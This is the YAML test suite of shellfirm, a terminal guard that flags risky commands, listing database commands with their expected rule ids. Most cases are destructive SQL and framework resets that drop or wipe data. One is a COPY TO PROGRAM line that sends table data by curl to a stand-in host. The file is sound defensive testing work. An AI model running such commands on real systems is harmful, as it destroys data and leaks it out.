shellfirm 0.4.2

`shellfirm` will intercept any risky patterns (default or defined by you) and prompt you a small challenge for double verification, kinda like a captcha for your terminal.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
---
# -- database:delete_all_rows --
- test: "DELETE FROM users;"
  description: "DELETE without WHERE clause deletes all rows in the table"
  expect_ids: ["database:delete_all_rows"]
- test: "delete from users;"
  description: "lowercase DELETE without WHERE clause"
  expect_ids: ["database:delete_all_rows"]
- test: "DELETE  FROM  orders;"
  description: "extra spaces in DELETE FROM still matches"
  expect_ids: ["database:delete_all_rows"]
- test: "DELETE FROM users WHERE id = 1"
  description: "DELETE with WHERE clause should not match delete_all_rows"
  expect_ids: []
- test: "delete from users where id = 1"
  description: "lowercase DELETE with WHERE clause should not match"
  expect_ids: []

# -- database:drop_database --
- test: "DROP DATABASE mydb"
  description: "dropping a database permanently deletes all its data"
  expect_ids: ["database:drop_database"]
- test: "drop database mydb"
  description: "lowercase drop database"
  expect_ids: ["database:drop_database"]
- test: "SELECT * FROM information_schema.schemata"
  description: "querying schema info should not trigger drop database check"
  expect_ids: []

# -- database:drop_table --
- test: "DROP TABLE users"
  description: "dropping a table permanently deletes all its data"
  expect_ids: ["database:drop_table"]
- test: "drop table users"
  description: "lowercase drop table"
  expect_ids: ["database:drop_table"]
- test: "SELECT * FROM users"
  description: "selecting from a table should not trigger drop table check"
  expect_ids: []

# -- database:truncate_table --
- test: "TRUNCATE TABLE users"
  description: "truncating a table deletes all rows permanently"
  expect_ids: ["database:truncate_table"]
- test: "truncate table users"
  description: "lowercase truncate table"
  expect_ids: ["database:truncate_table"]
- test: "TRUNCATE  TABLE  orders"
  description: "extra spaces in TRUNCATE TABLE still matches"
  expect_ids: ["database:truncate_table"]
- test: "SELECT COUNT(*) FROM users"
  description: "SELECT COUNT should not trigger truncate check"
  expect_ids: []

# -- database:update_all_rows --
- test: "UPDATE users SET active=false;"
  description: "UPDATE without WHERE clause modifies all rows in the table"
  expect_ids: ["database:update_all_rows"]
- test: "update users set active=false;"
  description: "lowercase UPDATE without WHERE clause"
  expect_ids: ["database:update_all_rows"]
- test: "UPDATE  orders  SET  status='cancelled';"
  description: "extra spaces in UPDATE SET still matches without WHERE"
  expect_ids: ["database:update_all_rows"]
- test: "UPDATE users SET active=false WHERE id = 1;"
  description: "UPDATE with WHERE clause should not match update_all_rows"
  expect_ids: []
- test: "update users set active=false where id = 1;"
  description: "lowercase UPDATE with WHERE clause should not match"
  expect_ids: []

# -- database — quoted and schema-qualified table names --
- test: "DELETE FROM `users`;"
  description: "backtick-quoted table name"
  expect_ids: ["database:delete_all_rows"]

- test: "DROP TABLE `users`"
  description: "backtick-quoted table for DROP TABLE (uses \\s+ not \\w+)"
  expect_ids: ["database:drop_table"]

- test: "DELETE FROM public.users;"
  description: "schema-qualified table name"
  expect_ids: ["database:delete_all_rows"]

- test: "UPDATE public.users SET active=false;"
  description: "schema-qualified UPDATE"
  expect_ids: ["database:update_all_rows"]

- test: 'DELETE FROM "users";'
  description: "double-quoted table name"
  expect_ids: ["database:delete_all_rows"]

# -- database — WHERE tautologies, comments, TRUNCATE without TABLE --
- test: "DELETE FROM users WHERE 1=1;"
  description: "WHERE 1=1 deletes every row"
  expect_ids: ["database:delete_all_rows"]
- test: "DELETE FROM users WHERE true"
  description: "WHERE true deletes every row"
  expect_ids: ["database:delete_all_rows"]
- test: "DELETE FROM users -- cleanup"
  description: "trailing SQL comment"
  expect_ids: ["database:delete_all_rows"]
- test: "UPDATE users SET active=false WHERE 1 = 1;"
  description: "UPDATE with tautological WHERE"
  expect_ids: ["database:update_all_rows"]
- test: "UPDATE users SET active=false WHERE type = 1;"
  description: "UPDATE with a real WHERE starting with t"
  expect_ids: []
- test: "UPDATE users SET active=false WHERE 1 = 10;"
  description: "UPDATE with a non-tautological numeric WHERE"
  expect_ids: []
- test: "TRUNCATE users;"
  description: "TRUNCATE without the TABLE keyword (Postgres/MySQL)"
  expect_ids: ["database:truncate_table"]
- test: "TRUNCATE public.orders CASCADE"
  description: "schema-qualified TRUNCATE"
  expect_ids: ["database:truncate_table"]
- test: "DROP TABLESPACE fastspace"
  description: "tablespace has its own id"
  expect_ids: ["database:drop_tablespace"]
- test: "DROP OWNED BY app_user"
  description: "drop owned objects"
  expect_ids: ["database:drop_schema_role_user"]

# -- database — SQL keywords as arguments of other commands are not SQL --
- test: "echo drop table support added"
  description: "unquoted SQL words in echo"
  expect_ids: []
- test: "grep -ri drop table src/"
  description: "unquoted SQL words in grep"
  expect_ids: []
- test: "ls drop table"
  description: "SQL words as ls arguments"
  expect_ids: []
- test: 'git commit -m "drop table users"'
  description: "SQL words in a commit message"
  expect_ids: []

# -- database — SQL passed through client flags --
- test: 'psql -h prod -c "DROP DATABASE prod"'
  description: "quoted psql -c payload"
  expect_ids: ["database:drop_database", "psql:drop"]
- test: 'psql -d prod -c "TRUNCATE orders"'
  description: "quoted psql TRUNCATE payload"
  expect_ids: ["database:truncate_table"]
- test: 'mysql -e "DELETE FROM users"'
  description: "quoted mysql DELETE payload"
  expect_ids: ["database:delete_all_rows"]
- test: "psql <<< 'DROP TABLE users'"
  description: "here-string fed to psql"
  expect_ids: ["database:drop_table"]

- test: "DELETE FROM users"
  description: "DELETE without semicolon"
  expect_ids: ["database:delete_all_rows"]

- test: "DELETE FROM users   "
  description: "DELETE with trailing whitespace"
  expect_ids: ["database:delete_all_rows"]

# -- database:drop_schema_role_user --
- test: "DROP SCHEMA public"
  description: "match DROP SCHEMA"
  expect_ids: ["database:drop_schema_role_user"]
- test: "DROP ROLE myrole"
  description: "match DROP ROLE"
  expect_ids: ["database:drop_schema_role_user"]
- test: "DROP USER myuser"
  description: "match DROP USER"
  expect_ids: ["database:drop_schema_role_user"]
- test: "drop schema test_schema"
  description: "match lowercase drop schema"
  expect_ids: ["database:drop_schema_role_user"]
- test: "CREATE SCHEMA newschema"
  description: "negative: CREATE SCHEMA should not match"
  expect_ids: []

# -- database:alter_drop_column --
- test: "ALTER TABLE users DROP COLUMN email"
  description: "match ALTER TABLE DROP COLUMN"
  expect_ids: ["database:alter_drop_column"]
- test: "alter table users drop column email"
  description: "match lowercase alter table drop column"
  expect_ids: ["database:alter_drop_column"]
- test: "ALTER TABLE users ADD COLUMN email VARCHAR(255)"
  description: "negative: ADD COLUMN should not match"
  expect_ids: []
- test: "ALTER TABLE public.users DROP COLUMN email"
  description: "match schema-qualified table in ALTER TABLE DROP COLUMN"
  expect_ids: ["database:alter_drop_column"]

# -- database:drop_index --
- test: "DROP INDEX idx_users_email"
  description: "match DROP INDEX"
  expect_ids: ["database:drop_index"]
- test: "drop index idx_users_email"
  description: "match lowercase drop index"
  expect_ids: ["database:drop_index"]
- test: "DROP INDEX idx_orders_date ON orders"
  description: "match DROP INDEX with ON clause"
  expect_ids: ["database:drop_index"]
- test: "DROP INDEX IF EXISTS idx_users_email"
  description: "match DROP INDEX IF EXISTS"
  expect_ids: ["database:drop_index"]
- test: "CREATE INDEX idx_users_email ON users(email)"
  description: "negative: CREATE INDEX should not match"
  expect_ids: []

# ====== EDGE CASE / STRESS TESTS ======

# -- database:delete_all_rows edge cases --
- test: "DELETE   FROM   users;"
  description: "EDGE: extra spaces in DELETE"
  expect_ids: ["database:delete_all_rows"]
- test: "DELETE FROM _temp_table;"
  description: "EDGE: underscore in table name"
  expect_ids: ["database:delete_all_rows"]
- test: "DELETE FROM table123;"
  description: "EDGE: numbers in table name"
  expect_ids: ["database:delete_all_rows"]
- test: "DELETE FROM users RETURNING *;"
  description: "RETURNING without WHERE still deletes every row"
  expect_ids: ["database:delete_all_rows"]

# -- database:update_all_rows edge cases --
- test: "UPDATE users SET active=false"
  description: "EDGE: UPDATE without semicolon"
  expect_ids: ["database:update_all_rows"]
- test: "UPDATE users SET active=false, name='test';"
  description: "EDGE: multiple SET columns"
  expect_ids: ["database:update_all_rows"]

# -- database:drop_schema_role_user edge cases --
- test: "DROP SCHEMA IF EXISTS public CASCADE"
  description: "EDGE: IF EXISTS with CASCADE"
  expect_ids: ["database:drop_schema_role_user", "database:drop_schema_cascade"]
- test: "DROP ROLE IF EXISTS myrole;"
  description: "EDGE: IF EXISTS for role"
  expect_ids: ["database:drop_schema_role_user"]

# -- database:drop_index edge cases --
- test: "DROP INDEX CONCURRENTLY idx_users_email;"
  description: "EDGE: CONCURRENTLY keyword (PostgreSQL)"
  expect_ids: ["database:drop_index"]

# -- SQL via pipes and comments --
- test: 'echo "DROP TABLE users;" | psql'
  description: "echo to psql"
  expect_ids: ["database:drop_table"]
- test: 'echo ''DROP DATABASE prod;'' | mysql'
  description: "echo to mysql"
  expect_ids: ["database:drop_database"]
- test: 'DROP /* x */ TABLE users;'
  description: "block comment"
  expect_ids: ["database:drop_table"]
- test: 'echo ''DROP TABLE x'' > notes.sql'
  description: "negative: echo to a file"
  expect_ids: ["fs:flush_file_content"]

# -- more destructive SQL --
- test: 'DROP VIEW active_users'
  description: "drop view"
  expect_ids: ["database:drop_view"]
- test: 'DROP MATERIALIZED VIEW IF EXISTS daily_stats'
  description: "drop materialized view"
  expect_ids: ["database:drop_view"]
- test: 'CREATE VIEW v AS SELECT 1'
  description: "negative: create view"
  expect_ids: []
- test: 'DROP FUNCTION calc_total(int)'
  description: "drop function"
  expect_ids: ["database:drop_object"]
- test: 'DROP EXTENSION postgis'
  description: "drop extension"
  expect_ids: ["database:drop_object"]
- test: 'DROP TRIGGER audit_trg ON users'
  description: "drop trigger"
  expect_ids: ["database:drop_object"]
- test: 'DROP EXTENSION postgis CASCADE'
  description: "drop extension cascade"
  expect_ids: ["database:drop_object", "database:drop_cascade"]
- test: 'DROP TABLE users CASCADE'
  description: "drop table cascade"
  expect_ids: ["database:drop_table", "database:drop_cascade"]
- test: 'DROP VIEW v CASCADE;'
  description: "drop view cascade"
  expect_ids: ["database:drop_view", "database:drop_cascade"]
- test: 'DROP SCHEMA billing CASCADE'
  description: "drop schema cascade"
  expect_ids: ["database:drop_schema_role_user", "database:drop_schema_cascade"]
- test: 'REVOKE ALL ON ALL TABLES IN SCHEMA public FROM app'
  description: "revoke all"
  expect_ids: ["database:revoke_all"]
- test: 'REVOKE SELECT ON users FROM intern'
  description: "negative: narrow revoke"
  expect_ids: []
- test: 'ALTER SYSTEM SET max_connections = 10'
  description: "alter system"
  expect_ids: ["database:alter_system"]
- test: 'ALTER SYSTEM RESET ALL'
  description: "alter system reset"
  expect_ids: ["database:alter_system"]
- test: 'COPY users TO PROGRAM ''curl -d @- http://x'''
  description: "copy to program"
  expect_ids: ["database:copy_program"]
- test: 'COPY t FROM PROGRAM ''id'''
  description: "copy from program"
  expect_ids: ["database:copy_program"]
- test: 'COPY users TO STDOUT'
  description: "negative: copy to stdout"
  expect_ids: []
- test: 'EXPLAIN ANALYZE DELETE FROM users'
  description: "explain analyze runs the delete"
  expect_ids: ["database:explain_analyze_write"]
- test: 'EXPLAIN (ANALYZE, BUFFERS) UPDATE users SET a = 1 WHERE id = 2'
  description: "explain analyze options"
  expect_ids: ["database:explain_analyze_write"]
- test: 'EXPLAIN DELETE FROM users'
  description: "negative: plain explain does not execute"
  expect_ids: []
- test: 'EXPLAIN ANALYZE SELECT * FROM users'
  description: "negative: explain analyze select"
  expect_ids: []
- test: 'PREPARE wipe AS DELETE FROM users'
  description: "prepare delete"
  expect_ids: ["database:prepare_write"]
- test: 'PREPARE q(int) AS UPDATE users SET a = $1'
  description: "prepare update"
  expect_ids: ["database:prepare_write"]
- test: 'PREPARE q AS SELECT 1'
  description: "negative: prepare select"
  expect_ids: []
- test: 'SELECT pg_terminate_backend(pid) FROM pg_stat_activity'
  description: "terminate backends"
  expect_ids: ["database:terminate_backend"]
- test: 'DROP KEYSPACE analytics'
  description: "cassandra drop keyspace"
  expect_ids: ["database:drop_keyspace"]
- test: 'ALTER TABLE users DROP CONSTRAINT users_pkey'
  description: "negative: drop constraint"
  expect_ids: []

- test: 'cqlsh -e "DROP KEYSPACE prod"'
  description: "cqlsh drop keyspace"
  expect_ids: ["database:cqlsh_drop", "database:drop_keyspace"]
- test: 'cqlsh cass-1 --execute="TRUNCATE ks.events"'
  description: "cqlsh truncate with --execute="
  expect_ids: ["database:cqlsh_drop", "database:truncate_table"]
- test: 'cqlsh -e "SELECT * FROM ks.events LIMIT 10"'
  description: "negative: cqlsh select"
  expect_ids: []
- test: 'clickhouse-client --query="DROP DATABASE prod"'
  description: "clickhouse --query= form"
  expect_ids: ["database:clickhouse_drop", "database:drop_database"]
- test: 'clickhouse-client --query="SELECT count() FROM hits"'
  description: "negative: clickhouse select"
  expect_ids: []
- test: 'ALTER TABLE users DROP INDEX idx_email'
  description: "mysql alter table drop index"
  expect_ids: ["database:alter_drop_index"]
- test: 'ALTER TABLE `users` ADD COLUMN x INT, DROP KEY idx_email'
  description: "drop key in a multi-clause alter"
  expect_ids: ["database:alter_drop_index"]
- test: 'ALTER TABLE users ADD INDEX idx_email (email)'
  description: "negative: add index"
  expect_ids: []
- test: 'ALTER TABLE users DROP PRIMARY KEY'
  description: "drop primary key"
  expect_ids: ["database:alter_drop_key"]
- test: 'ALTER TABLE orders DROP FOREIGN KEY fk_user'
  description: "drop foreign key"
  expect_ids: ["database:alter_drop_key"]
- test: 'ALTER TABLE orders ADD FOREIGN KEY (user_id) REFERENCES users(id)'
  description: "negative: add foreign key"
  expect_ids: []
- test: 'MERGE INTO users u USING stale s ON u.id = s.id WHEN MATCHED THEN DELETE'
  description: "merge then delete"
  expect_ids: ["database:merge_delete"]
- test: 'MERGE INTO users u USING src s ON u.id = s.id WHEN MATCHED THEN UPDATE SET name = s.name'
  description: "negative: merge update"
  expect_ids: []
- test: 'psql -c "DELETE FROM users WHERE ''a''=''a''"'
  description: "tautology 'a'='a' (string literals are masked) is no WHERE"
  expect_ids: ["database:delete_all_rows"]
- test: 'psql -c "DELETE FROM users WHERE ''a'' = ''a''"'
  description: "tautology with spaces"
  expect_ids: ["database:delete_all_rows"]
- test: 'DELETE FROM users WHERE id IS NOT NULL'
  description: "id IS NOT NULL is every row"
  expect_ids: ["database:delete_all_rows"]
- test: 'DELETE FROM sessions WHERE expired_at IS NOT NULL'
  description: "negative: IS NOT NULL on another column is a real condition"
  expect_ids: []
- test: 'DELETE FROM users WHERE 1'
  description: "WHERE 1 is always true"
  expect_ids: ["database:delete_all_rows"]
- test: 'DELETE FROM users USING orders'
  description: "DELETE ... USING without WHERE"
  expect_ids: ["database:delete_all_rows"]
- test: 'DELETE FROM users u USING orders o WHERE u.id = o.user_id'
  description: "negative: DELETE ... USING with a join condition"
  expect_ids: []
- test: 'UPDATE users SET a = lower(b) WHERE id = 42'
  description: "negative: function call with arguments in SET"
  expect_ids: []
- test: 'UPDATE users SET a = 1 WHERE id IS NOT NULL'
  description: "UPDATE with an always-true WHERE"
  expect_ids: ["database:update_all_rows"]
- test: 'UPDATE users SET a = 1 WHERE 1'
  description: "UPDATE ... WHERE 1"
  expect_ids: ["database:update_all_rows"]
- test: 'UPDATE users SET active=false WHERE true'
  description: "UPDATE ... WHERE true"
  expect_ids: ["database:update_all_rows"]
- test: 'UPDATE users SET active=false WHERE trust_level = 3'
  description: "negative: real WHERE starting with true"
  expect_ids: []
- test: 'UPDATE users SET a = 1 -- WHERE id = 1'
  description: "a WHERE inside a comment does not count"
  expect_ids: ["database:update_all_rows"]
- test: 'UPDATE users SET a = 1 RETURNING id'
  description: "UPDATE ... RETURNING without WHERE"
  expect_ids: ["database:update_all_rows"]
- test: 'UPDATE users SET wherever = 1'
  description: "a column whose name starts with where is not a WHERE clause"
  expect_ids: ["database:update_all_rows"]
- test: 'UPDATE Users SET A = 1 WHERE Id = 2'
  description: "negative: mixed case WHERE"
  expect_ids: []
- test: 'clickhouse-client -q "ALTER TABLE events DELETE WHERE 1"'
  description: "ClickHouse mutation deleting every row"
  expect_ids: ["database:alter_delete_all"]
- test: 'clickhouse-client -q "ALTER TABLE events ON CLUSTER main DELETE WHERE 1 = 1"'
  description: "ClickHouse mutation on a cluster deleting every row"
  expect_ids: ["database:alter_delete_all"]
- test: 'clickhouse-client -q "ALTER TABLE events DELETE WHERE user_id = 7"'
  description: "negative: ClickHouse mutation with a real condition"
  expect_ids: []
- test: 'cockroach sql -e "DROP DATABASE prod"'
  description: "cockroach sql -e DROP DATABASE"
  expect_ids: ["database:cockroach_drop", "database:drop_database"]
- test: 'cockroach sql --url postgres://x --execute="TRUNCATE orders"'
  description: "cockroach sql --execute= TRUNCATE"
  expect_ids: ["database:cockroach_drop", "database:truncate_table"]
- test: 'cockroach sql -e "SELECT 1"'
  description: "negative: cockroach query"
  expect_ids: []
- test: 'psql -f /home/dev/cleanup.sql'
  description: "psql -f runs SQL the shell-level checks cannot see"
  expect_ids: ["database:sql_from_file"]
- test: 'psql -d prod --file=cleanup.sql'
  description: "psql --file="
  expect_ids: ["database:sql_from_file"]
- test: 'psql -1 -X -f migrate.sql prod'
  description: "psql flags before -f"
  expect_ids: ["database:sql_from_file"]
- test: 'psql prod < cleanup.sql'
  description: "psql reading a file on stdin"
  expect_ids: ["database:sql_from_file"]
- test: 'mysql prod < /backup/dump.sql'
  description: "mysql reading a file on stdin"
  expect_ids: ["database:sql_from_file"]
- test: 'cat cleanup.sql | psql prod'
  description: "a file piped into psql"
  expect_ids: ["database:sql_from_file"]
- test: 'sqlite3 app.db ".read cleanup.sql"'
  description: "sqlite3 .read"
  expect_ids: ["database:sql_from_file"]
- test: 'mysql -e "source cleanup.sql"'
  description: "mysql -e source"
  expect_ids: ["database:sql_from_file"]
- test: 'psql -f -'
  description: "negative: psql -f - reads stdin (checked where it comes from)"
  expect_ids: []
- test: 'psql -c "SELECT count(*) FROM t WHERE a < b"'
  description: "negative: a comparison is not a redirect"
  expect_ids: []
- test: 'psql -c "SELECT 1" < /dev/null'
  description: "negative: stdin from /dev/null"
  expect_ids: []
- test: 'pg_dump prod -f backup.sql'
  description: "negative: pg_dump writes a file"
  expect_ids: []

# -- database:sqlcmd_drop --
- test: 'sqlcmd -S prod -Q "DROP DATABASE prod"'
  description: "sqlcmd -Q runs a DROP DATABASE"
  expect_ids: ["database:sqlcmd_drop", "database:drop_database"]
- test: 'sqlcmd -S prod -d app -q "TRUNCATE TABLE orders"'
  description: "sqlcmd -q runs a TRUNCATE"
  expect_ids: ["database:sqlcmd_drop", "database:truncate_table"]
- test: 'sqlcmd -S prod -Q "SELECT name FROM sys.databases"'
  description: "negative: sqlcmd read-only query"
  expect_ids: []
- test: 'sqlcmd -S prod -Q "DELETE FROM orders"'
  description: "sqlcmd -Q DELETE without WHERE"
  expect_ids: ["database:delete_all_rows"]
- test: 'sqlcmd -S prod -Q "DELETE FROM orders WHERE id = 7"'
  description: "negative: sqlcmd DELETE with a condition"
  expect_ids: []

# -- database:lo_unlink_all --
- test: 'psql -c "SELECT lo_unlink(oid) FROM pg_largeobject_metadata"'
  description: "lo_unlink over every large object"
  expect_ids: ["database:lo_unlink_all", "database:side_effect_function"]
- test: 'psql -c "SELECT lo_unlink(l.oid) FROM pg_catalog.pg_largeobject_metadata l"'
  description: "lo_unlink over every large object (qualified catalog)"
  expect_ids: ["database:lo_unlink_all", "database:side_effect_function"]
- test: 'psql -c "SELECT lo_unlink(16409)"'
  description: "unlinking one large object is a side effect (not every large object)"
  expect_ids: ["database:side_effect_function"]

# -- database:innodb_flush_log_off --
- test: 'mysql -e "SET GLOBAL innodb_flush_log_at_trx_commit = 0"'
  description: "turning off the redo-log flush on commit"
  expect_ids: ["database:innodb_flush_log_off"]
- test: 'mysql -e "SET PERSIST innodb_flush_log_at_trx_commit=0"'
  description: "SET PERSIST form"
  expect_ids: ["database:innodb_flush_log_off"]
- test: 'mysql -e "SET GLOBAL innodb_flush_log_at_trx_commit = 1"'
  description: "negative: the durable setting"
  expect_ids: []

# -- database:sql_from_file: sqlcmd input files --
- test: 'sqlcmd -S prod -i /home/dev/cleanup.sql'
  description: "sqlcmd -i runs a file of SQL"
  expect_ids: ["database:sql_from_file"]
- test: 'sqlcmd -S prod --input-file=migrate.sql'
  description: "sqlcmd --input-file="
  expect_ids: ["database:sql_from_file"]
- test: 'sqlcmd -S prod -Q "SELECT 1"'
  description: "negative: sqlcmd without an input file"
  expect_ids: []

# -- DELETE ... LIMIT without WHERE, migration / ORM resets --
- test: 'mysql -e ''DELETE FROM users LIMIT 1000'''
  description: 'DELETE ... LIMIT without WHERE'
  expect_ids: ["database:delete_limit_without_where"]
- test: 'mysql -e ''DELETE FROM users ORDER BY id LIMIT 1000'''
  description: 'DELETE ... ORDER BY ... LIMIT without WHERE'
  expect_ids: ["database:delete_limit_without_where"]
- test: 'DELETE FROM users LIMIT 10;'
  description: 'statement form'
  expect_ids: ["database:delete_limit_without_where"]
- test: 'DELETE FROM users WHERE created_at < ''2020-01-01'' LIMIT 1000'
  description: 'negative: batch purge with a WHERE'
  expect_ids: []
- test: 'DELETE FROM users WHERE id = 1 ORDER BY id LIMIT 1'
  description: 'negative: WHERE before ORDER BY / LIMIT'
  expect_ids: []
- test: 'prisma migrate reset --force'
  description: 'prisma migrate reset'
  expect_ids: ["database:prisma_migrate_reset"]
- test: 'npx prisma migrate reset'
  description: 'prisma migrate reset through npx'
  expect_ids: ["database:prisma_migrate_reset"]
- test: 'npx prisma migrate reset --help'
  description: 'negative: help'
  expect_ids: []
- test: 'npx prisma migrate dev'
  description: 'negative: prisma migrate dev'
  expect_ids: []
- test: 'npx prisma migrate deploy'
  description: 'negative: prisma migrate deploy'
  expect_ids: []
- test: 'npx prisma db push --force-reset'
  description: 'prisma db push --force-reset'
  expect_ids: ["database:prisma_db_push_force_reset"]
- test: 'npx prisma db push --accept-data-loss'
  description: 'prisma db push --accept-data-loss'
  expect_ids: ["database:prisma_db_push_data_loss"]
- test: 'npx prisma db push'
  description: 'negative: prisma db push'
  expect_ids: []
- test: 'rails db:drop'
  description: 'rails db:drop'
  expect_ids: ["database:rails_db_drop"]
- test: 'bin/rails db:reset'
  description: 'bin/rails db:reset'
  expect_ids: ["database:rails_db_drop"]
- test: 'bundle exec rake db:migrate:reset'
  description: 'rake db:migrate:reset'
  expect_ids: ["database:rails_db_drop"]
- test: './bin/rails db:drop:all'
  description: 'db:drop:all'
  expect_ids: ["database:rails_db_drop"]
- test: 'rails db:purge'
  description: 'db:purge'
  expect_ids: ["database:rails_db_drop"]
- test: 'rails db:schema:load'
  description: 'db:schema:load'
  expect_ids: ["database:rails_schema_load"]
- test: 'rails db:migrate'
  description: 'negative: rails db:migrate'
  expect_ids: []
- test: 'bin/rails db:rollback'
  description: 'negative: one-step rollback'
  expect_ids: []
- test: 'rails db:migrate:status'
  description: 'negative: migrate status'
  expect_ids: []
- test: 'flyway clean'
  description: 'flyway clean'
  expect_ids: ["database:flyway_clean"]
- test: 'flyway -cleanDisabled=false -url=jdbc:postgresql://db/app clean'
  description: 'flyway clean with options'
  expect_ids: ["database:flyway_clean"]
- test: 'mvn flyway:clean'
  description: 'maven flyway:clean'
  expect_ids: ["database:flyway_clean_build_tool"]
- test: './gradlew flywayClean'
  description: 'gradle flywayClean'
  expect_ids: ["database:flyway_clean_build_tool"]
- test: 'flyway migrate'
  description: 'negative: flyway migrate'
  expect_ids: []
- test: 'flyway info'
  description: 'negative: flyway info'
  expect_ids: []
- test: 'liquibase dropAll'
  description: 'liquibase dropAll'
  expect_ids: ["database:liquibase_drop_all"]
- test: 'liquibase --changelog-file=db.xml drop-all'
  description: 'liquibase drop-all'
  expect_ids: ["database:liquibase_drop_all"]
- test: 'liquibase update'
  description: 'negative: liquibase update'
  expect_ids: []
- test: 'django-admin flush --noinput'
  description: 'django flush'
  expect_ids: ["database:django_flush"]
- test: 'python manage.py flush --noinput'
  description: 'manage.py flush'
  expect_ids: ["database:django_flush"]
- test: './manage.py reset_db'
  description: 'django-extensions reset_db'
  expect_ids: ["database:django_flush"]
- test: 'python manage.py migrate'
  description: 'negative: manage.py migrate'
  expect_ids: []
- test: 'python manage.py sqlflush'
  description: 'negative: sqlflush only prints SQL'
  expect_ids: []
- test: 'python manage.py migrate billing zero'
  description: 'migrate <app> zero'
  expect_ids: ["database:django_migrate_zero"]
- test: 'dbmate drop'
  description: 'dbmate drop'
  expect_ids: ["database:dbmate_drop"]
- test: 'dbmate --url postgres://db/app drop'
  description: 'dbmate drop with url'
  expect_ids: ["database:dbmate_drop"]
- test: 'dbmate up'
  description: 'negative: dbmate up'
  expect_ids: []
- test: 'alembic downgrade base'
  description: 'alembic downgrade base'
  expect_ids: ["database:alembic_downgrade_base"]
